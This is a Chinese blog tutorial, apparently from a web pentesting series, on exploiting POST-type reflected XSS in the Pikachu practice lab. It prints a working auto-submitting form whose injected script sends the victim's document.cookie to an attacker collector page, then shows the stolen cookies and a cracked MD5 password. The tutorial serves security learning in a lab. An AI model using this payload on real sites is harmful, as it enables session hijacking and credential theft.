web渗透测试-从入门到放弃-04XSS-Cookie-POST利用

最新推荐文章于 2023-10-05 14:39:46 发布

林⁣熙

最新推荐文章于 2023-10-05 14:39:46 发布

阅读量525

点赞数

分类专栏： Web安全

本文链接：https://blog.csdn.net/lx1315998513/article/details/102848886

版权

Web安全专栏收录该内容

10 篇文章 0 订阅

订阅专栏

POST型XSS的利用：cookie获取

用户——>Request伪造页面，触发表单——>攻击者伪造表单自动提交页面（一个当用户访问这个就会触发js脚本窃取cookie信息给攻击者后台的链接）——>存在post型XSS漏洞的网站
伪造的自动提交页面的代码（在pikachu网站中可以搜索找到）：
post.html:

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu/vul/xss/xsspost/xss_reflected_post.php">
    <input id="xssr_in" type="text" name="message" value=
    "<script>
document.location = 'http://192.168.10.130/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;   这里的ip是后台接受cookie的主机
	</script>"
	 />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

192.168.43.229是我主机的IP地址，以下是我们构造用户访问的链接

http://192.168.43.229/pikachu/pkxss/xcookie/post.html

我们来到反射型xss-post，我们这里输入admin，123456登陆
$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ha3C3vGE-1572541290336)(C:\Users\嘻嘻嘻\AppData\Roaming\Typora\typora-user-images\1572540861251.png)]$ 现在用户是登陆状态，然后我们模拟用户访问了一个我们发送的post.html的链接（浏览器新建标签页）
在这里插入图片描述然后页面重定向到了首页
$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-T5AP4RMN-1572541290338)(C:\Users\嘻嘻嘻\AppData\Roaming\Typora\typora-user-images\1572541029389.png)]$ 我们再回到ip为：192.168.10.130的后台页面刷新
$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XSU7lOcE-1572541290339)(C:\Users\嘻嘻嘻\AppData\Roaming\Typora\typora-user-images\1572541078657.png)]$ 在这里可以看到获取到的cookie值：

ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=3vtjdj8v0c2p15437m56tsdqe3

其中uname，用户名是admin，pw是10470c3b4b1fed12c3baac014be15fac67c6e815，这一串使用md5解密后是123456。
$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bMaxQ69I-1572541290340)(C:\Users\嘻嘻嘻\AppData\Roaming\Typora\typora-user-images\1572541248855.png)]$

林⁣熙

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
web渗透测试-从入门到放弃-04XSS-Cookie-POST利用

POST型XSS的利用：cookie获取用户——>Request伪造页面，触发表单——>攻击者伪造表单自动提交页面（一个当用户访问这个就会触发js脚本窃取cookie信息给攻击者后台的链接）——>存在post型XSS漏洞的网站伪造的自动提交页面的代码（在pikachu网站中可以搜索找到）：post.html:<html><head><sc...
复制链接

扫一扫